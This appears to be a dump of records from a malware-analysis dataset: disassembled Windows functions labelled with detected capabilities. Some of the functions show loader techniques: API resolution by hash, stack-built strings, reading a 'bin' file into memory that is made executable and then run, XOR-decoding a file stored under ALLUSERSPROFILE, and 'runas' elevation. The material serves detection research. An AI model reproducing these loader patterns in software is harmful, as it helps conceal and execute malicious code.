joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011299
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140014e00
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x140034040]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rcx, [0x14003c105]
call fcn.140011ce9
mov edx, 0x58
lea rcx, [rbp - 0x19]
call fcn.140011cf8
lea rcx, [rbp - 0x19]
call fcn.1400113e8
nop
mov edx, 0x20
lea rcx, [rbp - 0x39]
call fcn.1400110b9
lea rcx, [rbp - 0x69]
call fcn.14001162c
mov rbx, rax
mov dword [rsp + 0x20], 0x353a1821
mov dword [rsp + 0x24], 0x4d424c47
mov dword [rsp + 0x28], 0x313a5155
mov dword [rbp - 0x7d], 0x43525157
mov dword [rbp - 0x79], 0x3a10114b
mov dword [rbp - 0x75], 0x46415451
mov dword [rbp - 0x71], 0xc52514d
mov word [rbp - 0x6d], 0x5643
mov byte [rbp - 0x6b], 0x43
lea r8, [rbp - 0x6a]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x49]
call fcn.1400115a0
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x59], xmm0
mov r8, rbx
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.140011a19
lea rcx, [rbp - 0x39]
call fcn.1400113d4
nop
lea rcx, [rbp - 0x19]
call fcn.14001114f
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140011672
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rbp
ret

Function at 0x140011744
Capabilities:
Terminate process

Disassembly:
jmp 0x140022480
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140007c60
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x1400760a0]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x30]
mov edx, 0x100
call qword [sym.imp.WS2_32.dll_gethostname]
mov qword [rbx + 0x10], 0
lea rax, [rsp + 0x30]
mov qword [rbx + 0x18], 0xf
mov r8, 0xffffffffffffffff
mov byte [rbx], 0
inc r8
cmp byte [rax + r8], 0
jne 0x140007cb2
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000ffd0
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14002b210
add rsp, 0x140
pop rbx
ret
Function at 0x140008710
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1400760a0]
xor rax, rsp
mov qword [rbp], rax
xor edx, edx
mov dword [rbp - 0x70], 0x68
mov rbx, rcx
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.14002d630
mov rdx, qword [rbx + 0x18]
mov rcx, rbx
cmp rdx, 0x10
jb 0x140008763
mov rcx, qword [rbx]
mov rdi, qword [rbx + 0x10]
add rdi, rcx
cmp rdx, 0x10
jb 0x140008773
mov rbx, qword [rbx]
movdqa xmm0, xmmword [0x140069bf0]
lea rcx, [rsp + 0x50]
mov rdx, rdi
xor esi, esi
sub rdx, rbx
mov word [rsp + 0x50], si
movdqu xmmword [rsp + 0x60], xmm0
call fcn.14000e460
mov r8, rdi
lea rcx, [rsp + 0x50]
mov rdx, rbx
call fcn.140013df0
cmp qword [rsp + 0x68], 8
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x50]
cmovae rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], 0x8000008
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rdx, qword [rsp + 0x68]
test eax, eax
sete bl
cmp rdx, 8
jb 0x140008837
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008832
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008961
call fcn.14002b234
test bl, bl
je 0x1400088e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x60], rsi
mov r8, 0xffffffffffffffff
mov edx, eax
lea rax, str.Failed_to_start_process._Error:
add rdx, rax
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], sil
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], sil
jne 0x140008870
lea rcx, [rsp + 0x50]
call fcn.14000ffd0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400088c0
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008967
call fcn.14002b234
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14002b210
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x1d
mov qword [rsp + 0x60], rsi
lea rdx, str.Process_started_successfully.
mov qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x50], sil
call fcn.14000ffd0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400088c0
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008967
jmp 0x1400088bb
call fcn.1400328c4
int3
call fcn.1400328c4
int3
Function at 0x14000eb00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
je 0x14000eb9a
mov rbx, r8
test r8, r8
jle 0x14000eb92
mov rcx, rdi
call fcn.140010550
test rax, rax
jle 0x14000eb70
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.14002d110
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x14000eb8a
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000eb92
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x14000eb32
sub r14, rbx
mov rax, r14
jmp 0x14000ec11
mov rax, qword [rcx + 0x40]
mov rsi, r14
mov r9, qword [rax]
test r9, r9
je 0x14000ebb1
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000ebb3
xor ecx, ecx
movsxd rbx, ecx
test r14, r14
jle 0x14000ec0b
test ecx, ecx
jle 0x14000ebe7
cmp r14, rbx
mov rcx, r9
cmovl rbx, r14
mov r8, rbx
call fcn.14002d110
mov rax, qword [rdi + 0x58]
add rbp, rbx
sub r14, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x40]
movsxd rax, ebx
add qword [rcx], rax
test r14, r14
jle 0x14000ec0b
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000ec0b
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140031a80
sub r14, rax
sub rsi, r14
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000ec30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000eccb
mov rdi, r8
test r8, r8
jle 0x14000ecc0
mov rcx, rbx
call fcn.140010570
test rax, rax
jle 0x14000eca0
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14002d110
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000ecb8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x14000ecc0
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000ec62
sub r14, rdi
mov rax, r14
jmp 0x14000ed7a
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ece2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000ece4
xor ecx, ecx
movsxd rdi, ecx
test r14, r14
jle 0x14000ed74
test ecx, ecx
jle 0x14000ed1c
cmp r14, rdi
mov rcx, rsi
cmovl rdi, r14
mov r8, rdi
call fcn.14002d110
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub r14, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
test r14, r14
jle 0x14000ed74
mov r9, qword [rbx + 0x80]
test r9, r9
je 0x14000ed74
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000ed61
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov r9, qword [rbx + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rsi
call fcn.1400323b0
sub r14, rax
sub rbp, r14
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000f1f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400760a0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000f21d
xor eax, eax
jmp 0x14000f363
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000f257
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14000f257
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14000f363
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000f356
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000f29a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000f2a9
movsx ecx, dil
jmp 0x14000f2fd
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + gethostname]
test eax, eax
js 0x14000f356
cmp eax, 1
jle 0x14000f317
cmp eax, 3
jne 0x14000f356
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14002f878
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000f35b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14000f344
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.140031a80
cmp rsi, rax
jne 0x14000f356
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000f35b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14002b210
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400153c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov r9, qword [r8 + 0x20]
mov rdi, r8
add r8, 0x10
mov rsi, rdx
mov r10, rcx
cmp qword [rdi + 0x28], 0x10
jb 0x1400153eb
mov r8, qword [rdi + 0x10]
xor ecx, ecx
movabs rdx, 0xcbf29ce484222325
test r9, r9
je 0x140015424
movabs rbx, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rcx + r8]
inc rcx
xor rdx, rax
imul rdx, rbx
cmp rcx, r9
jb 0x140015410
mov r8, qword [r10 + 0x30]
mov rcx, qword [r10 + 0x18]
and r8, rdx
shl r8, 4
add rcx, r8
mov rax, qword [rcx]
cmp qword [rcx + 8], rdi
jne 0x140015464
cmp rax, rdi
jne 0x14001545a
mov rax, qword [r10 + 8]
mov qword [rcx], rax
mov rcx, qword [r10 + 0x18]
mov rax, qword [r10 + 8]
mov qword [r8 + rcx + 8], rax
jmp 0x14001546f
mov rax, qword [rdi + 8]
mov qword [rcx + 8], rax
jmp 0x14001546f
cmp rax, rdi
jne 0x14001546f
mov rax, qword [rdi]
mov qword [rcx], rax
mov rdx, qword [rdi + 8]
lea rcx, [rdi + 0x10]
mov rbx, qword [rdi]
mov qword [rdx], rbx
mov r8, qword [rdi]
mov rdx, qword [rdi + 8]
mov qword [r8 + 8], rdx
dec qword [r10 + 0x10]
call fcn.140004f30
mov edx, 0x50
mov rcx, rdi
call fcn.14002b234
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140015be0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
lea rbx, [0x140067df0]
mov r10, r8
mov r9, rdx
not ecx
cmp r8, 4
jb 0x140015c72
mov r11, r8
shr r11, 2
imul rax, r11, 0xfffffffffffffffc
add r10, rax
nop dword [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
mov edx, dword [rbx + rax*4]
xor edx, ecx
movzx ecx, byte [r9 + 1]
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 2]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 3]
add r9, 4
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ecx, dword [rbx + rax*4]
xor ecx, edx
sub r11, 1
jne 0x140015c10
test r10, r10
je 0x140015ca0
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
xor rdx, rax
shr eax, 8
movzx r8d, dl
mov ecx, dword [rbx + r8*4]
xor ecx, eax
sub r10, 1
jne 0x140015c80
mov rbx, qword [rsp + 8]
not ecx
mov eax, ecx
ret
Function at 0x14003aeb8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003ace4
Function at 0x140003160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x98
mov byte [rbp - 0x19], 0x6d
xor eax, eax
mov byte [rbp - 0x18], 0x73
mov ecx, 0xab7f64cf
mov byte [rbp - 0x17], 0x76
mov byte [rbp - 0x16], 0x63
mov byte [rbp - 0x15], 0x72
mov byte [rbp - 0x14], 0x74
mov byte [rbp - 0x13], 0x2e
mov byte [rbp - 0x12], 0x64
mov byte [rbp - 0x11], 0x6c
mov byte [rbp - 0x10], 0x6c
mov byte [rbp - 0xf], al
mov byte [rbp - 9], 0x4c
mov byte [rbp - 8], 0x6f
mov byte [rbp - 7], 0x64
mov byte [rbp - 6], 0x69
mov byte [rbp - 5], 0x6e
mov byte [rbp - 4], 0x67
mov byte [rbp - 3], 0x2e
mov byte [rbp - 2], 0x2e
mov byte [rbp - 1], 0x2e
mov byte [rbp], 0xa
mov byte [rbp + 1], 0xa
mov byte [rbp + 2], al
mov byte [rbp + 7], 0x62
mov byte [rbp + 8], 0x69
mov byte [rbp + 9], 0x6e
mov byte [rbp + 0xa], 0x20
mov byte [rbp + 0xb], 0x6e
mov byte [rbp + 0xc], 0x6f
mov byte [rbp + 0xd], 0x74
mov byte [rbp + 0xe], 0x20
mov byte [rbp + 0xf], 0x65
mov byte [rbp + 0x10], 0x78
mov byte [rbp + 0x11], 0x69
mov byte [rbp + 0x12], 0x73
mov byte [rbp + 0x13], 0x74
mov byte [rbp + 0x14], al
mov byte [rbp + 0x7f], 0x65
mov byte [rbp + 0x80], 0x72
mov byte [rbp + 0x81], 0x72
mov byte [rbp + 0x82], 0x6f
mov byte [rbp + 0x83], 0x72
mov byte [rbp + 0x84], 0xa
mov byte [rbp + 0x85], al
mov byte [rbp + 0x67], 0x62
mov byte [rbp + 0x68], 0x69
mov byte [rbp + 0x69], 0x6e
mov byte [rbp + 0x6a], al
call fcn.1400033c0
mov ecx, 0x250ce58a
mov rbx, rax
call fcn.1400033c0
mov ecx, 0x57e8d0e7
mov r12, rax
call fcn.1400033c0
mov ecx, 0x319dfe4f
mov rdi, rax
call fcn.1400033c0
mov ecx, 0xddd55199
mov r14, rax
call fcn.1400033c0
mov ecx, 0x6c4c4a51
mov r13, rax
call fcn.1400033c0
mov ecx, 0x7c690455
mov qword [rbp - 0x29], rax
call fcn.1400033c0
mov ecx, 0xb603f2bd
mov qword [rbp - 0x31], rax
call fcn.1400033c0
mov ecx, 0x2dc0cbba
mov qword [rbp - 0x39], rax
call fcn.1400033c0
mov ecx, 0x50d414a7
mov qword [rbp - 0x21], rax
call fcn.1400033c0
mov ecx, 0x4396bb1
call fcn.1400033c0
mov rsi, rax
lea rcx, [rbp - 0x19]
call rbx
mov ecx, 0xfa4a415d
call fcn.1400033c0
mov ecx, 0x5ec57f12
call fcn.1400033c0
lea rcx, [rbp + 0x67]
mov r15, rax
call rdi
or ebx, 0xffffffff
cmp eax, ebx
jne 0x14000330d
lea rcx, [rbp + 7]
call r15
mov ecx, ebx
call rsi
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x67]
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call r14
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140003349
lea rcx, [rbp + 0x7f]
call r15
mov ecx, 0xfffffffe
call rsi
xor edx, edx
mov rcx, r14
call r13
mov r9d, 4
mov edx, eax
mov r8d, 0x3000
mov ebx, eax
xor ecx, ecx
call qword [rbp - 0x39]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x6f]
mov rdx, rax
mov r8d, ebx
mov rcx, r14
mov rsi, rax
call qword [rbp - 0x31]
mov rcx, r14
call qword [rbp - 0x29]
lea r9, [rbp + 0x77]
mov r8d, 0x40
mov edx, ebx
mov rcx, rsi
call qword [rbp - 0x21]
lea rcx, [rbp - 9]
call r15
mov ecx, 0x3e8
call r12
call rsi
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400033c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14d, ecx
call fcn.1400034e0
mov rdx, qword [rax + 0x18]
mov rbp, qword [rdx + 0x20]
mov r8, rbp
mov r9, qword [r8 + 0x20]
mov r8, qword [r8]
test r9, r9
je 0x14000349e
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x14000349e
lea r10, [r9 + rcx]
xor esi, esi
mov ecx, dword [r10 + 0xc]
add rcx, r9
mov dl, byte [rcx]
test dl, dl
je 0x140003446
mov al, dl
cmp dl, 0x61
jl 0x140003430
cmp al, 0x7a
jg 0x140003430
sub al, 0x20
imul esi, esi, 0x8a
inc rcx
movsx eax, al
add esi, eax
mov al, byte [rcx]
mov dl, al
test al, al
jne 0x140003425
mov ecx, dword [r10 + 0x20]
xor edx, edx
add rcx, r9
cmp dword [r10 + 0x18], edx
jbe 0x14000349e
mov ebx, dword [rcx]
xor edi, edi
add rbx, r9
mov r11b, byte [rbx]
test r11b, r11b
je 0x14000348a
mov al, r11b
cmp r11b, 0x61
jl 0x140003473
cmp al, 0x7a
jg 0x140003473
sub al, 0x20
imul edi, edi, 0x8a
inc rbx
movsx eax, al
add edi, eax
mov al, byte [rbx]
mov r11b, al
test al, al
jne 0x140003467
lea eax, [rdi + rsi]
cmp r14d, eax
je 0x1400034c4
inc edx
add rcx, 4
cmp edx, dword [r10 + 0x18]
jb 0x140003455
cmp r8, rbp
jne 0x1400033ec
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
add rax, r9
jmp 0x1400034a9

Function at 0x140003b00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140003b75
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140003b75
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140003b65
nop
cmp rbx, rcx
jae 0x140003b75
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140003b50
cmp rbx, rcx
jae 0x140003b75
cmp word [rbx], 0
je 0x140003b75
mov rax, rbx
jmp 0x140003b77
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004790
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x1c0
mov rax, qword [0x140024328]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xorps xmm0, xmm0
mov rdi, rdx
movups xmmword [rsp + 0x20], xmm0
mov rbx, rcx
mov dword [rsp + 0x20], 0x70
xor edx, edx
mov qword [rsp + 0x28], 0
mov r8d, 0x110
lea rcx, [rsp + 0x94]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
call fcn.140006680
lea rcx, [rsp + 0x90]
mov dword [rsp + 0x90], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x94], 6
lea rcx, str.open
lea rax, str.runas
mov qword [rsp + 0x38], rbx
cmovb rax, rcx
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0x40
mov qword [rsp + 0x40], rdi
nop
nop
nop
nop
nop
nop
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140005030
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x1c0
pop rdi
ret
Function at 0x14000bd3c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000bb68
Function at 0x180001098
Capabilities:
Encode data using xor
Get file size
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x480
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
xor r12d, r12d
mov rbp, rcx
lea rcx, [rsp + 0x62]
lea eax, [r12 + 0x5c]
xor edx, edx
mov r8d, 0x1f6
mov word [rsp + 0x50], ax
lea eax, [r12 + 0x72]
mov dword [rsp + 0x40], r12d
mov word [rsp + 0x52], ax
lea eax, [r12 + 0x65]
mov word [rsp + 0x60], r12w
mov word [rsp + 0x54], ax
lea eax, [r12 + 0x73]
mov word [rsp + 0x56], ax
lea eax, [r12 + 0x2e]
mov word [rsp + 0x58], ax
lea eax, [r12 + 0x64]
mov word [rsp + 0x5a], ax
lea eax, [r12 + 0x61]
mov word [rsp + 0x5c], ax
lea eax, [r12 + 0x74]
mov word [rsp + 0x5e], ax
call fcn.180005e80
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], r12w
call fcn.180005e80
lea rdx, [rsp + 0x260]
lea rcx, str._ALLUSERSPROFILE_
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800011be
xor eax, eax
jmp 0x180001240
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, r12d
jne 0x1800011db
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800011b7
lea edx, [rax + 0x400]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rcx, rdi
mov rbx, rax
cmp rax, r12
je 0x1800011d3
lea r9, [rsp + 0x40]
mov r8d, esi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11d, dword [rsp + 0x40]
cmp r11d, esi
je 0x180001222
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800011d0
mov dword [rbp], r11d
mov rax, rbx
cmp r11d, r12d
jbe 0x18000123d
mov rcx, r11
xor byte [rax], 0x1f
inc rax
sub rcx, 1
jne 0x180001231
mov rax, rbx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.180001d90
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret